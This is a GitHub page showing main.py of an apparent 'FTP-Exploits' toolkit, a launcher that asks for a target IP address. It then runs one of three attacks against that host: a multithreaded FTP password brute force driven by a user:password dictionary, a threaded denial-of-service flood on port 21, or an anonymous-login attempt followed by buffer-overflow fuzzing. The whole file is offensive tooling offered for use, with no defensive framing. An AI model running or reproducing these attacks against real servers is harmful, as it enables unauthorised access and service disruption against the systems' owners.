-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
80 lines (59 loc) · 2.17 KB
/
main.py
File metadata and controls
80 lines (59 loc) · 2.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from ftp_brute import FTP
from ftp_dos import DoS
from buffer_overflow import FTPFuzz
from check_ip import check_ip
import threading
print(
"""
_____ _____ ____ _____ _ _ _
| ___|_ _| _ \ | ____|_ ___ __ | | ___ (_) |_ ___
| |_ | | | |_) | | _| \ \/ / '_ \| |/ _ \| | __/ __| ~>FTP-Exploits<~
| _| | | | __/ | |___ > <| |_) | | (_) | | |_\__ | ~~>Made by tfwcodes(github)<~~
|_| |_| |_| |_____/_/\_\ .__/|_|\___/|_|\__|___/
|_|
"""
)
ip = input("[main@console] \n└─Enter the target ip address: ")
check_ip.ip_check(ip)
print("\n" + "Modes: " + "\n" + " #~ '-brute' - Brute Force Ftp. " + "\n" + " #~ '-ddos' - DDoS Ftp." + "\n" + " #~ 'buffer-overflow' Buffer Overflow Attack.")
mode = input("[main@console] \n└─Enter the mode: ")
threads = []
started = 0
if mode == "-brute":
dictionary = input("[brute@console] \n└─Enter the dictionary: ")
passwlist = open(dictionary, "r")
for line in passwlist:
user = line.split(":")[0]
password = line.split(":")[1].strip("\n")
threads = []
def worker():
FTP.brute(ip, 21, user, password)
t = threading.Thread(target=worker)
t.start()
started += 1
threads.append(t)
if started > 100:
started = 0
for t in threads:
t.join()
threads.remove(t)
elif mode == "-ddos":
threads_number = input("[ddos@console] \n└─Enter the number of threads: ")
def dos_attack():
DoS.dos(ip=ip, port=21)
threads_list = []
for i in range(int(threads_number)):
t = threading.Thread(target=dos_attack)
t.daemon = True
threads_list.append(t)
for i in range(int(threads_number)):
threads_list[i].start()
for i in range(int(threads_number)):
threads_list[i].join()
elif mode == "-buffer-overflow":
print("Trying anonymous login...")
FTPFuzz.anon_login(ip, 21)
print("Trying buffer overflow...")
FTPFuzz.ftp_fuzz(ip, 21)
else:
print(f"Invalid command [{mode}]")